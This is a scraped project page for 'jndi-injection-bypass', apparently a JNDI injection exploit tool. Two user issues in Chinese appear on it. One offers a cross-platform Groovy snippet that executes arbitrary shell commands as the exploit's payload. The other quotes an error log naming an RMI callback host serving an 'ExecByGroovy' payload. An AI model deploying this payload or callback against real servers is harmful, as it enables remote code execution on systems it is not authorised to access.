Giter Club home page Giter Club logo

jndi-injection-bypass's People

Contributors

welk1n avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jndi-injection-bypass's Issues

推荐一个更通用的groovy shell script

在参考您的代码进行测试时,测试失败,仔细看了下,发现您的payload似乎只能针对linux,所以我在windows下进行测试自然无法测试成功。但是通过搜索资料,我发现似乎有一种更为通用的方法,可以兼容windows,代码如下,希望对您有用

if (System.properties['os.name'].toLowerCase().contains('windows')) {
    ['cmd','/C', '${cmd}'].execute();
} else {
    ['/bin/sh','-c', '${cmd}'].execute();
}

参考链接:
https://my.oschina.net/jjyuangu/blog/1815945
https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails

groovy这个反而需要高版本tomcat

在tomcat8测试ok,在tomcat7下,显示:
otSwappableTargetSource for target: String[BeanDefinitionStoreException: Invalid bean definition with name 'rmi://182.92.151.151:1097/ExecByGroovy' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.NamingException: No set method found for property: forceString] = HotSwappableTargetSource for target: String[BeanDefinitionStoreException: Invalid bean definition with name 'rmi://:1097/ExecByGroovy' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.NamingException: No set method found for property: forceString]
[2/2] HotSwappableTargetSource for target: 䕠���

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.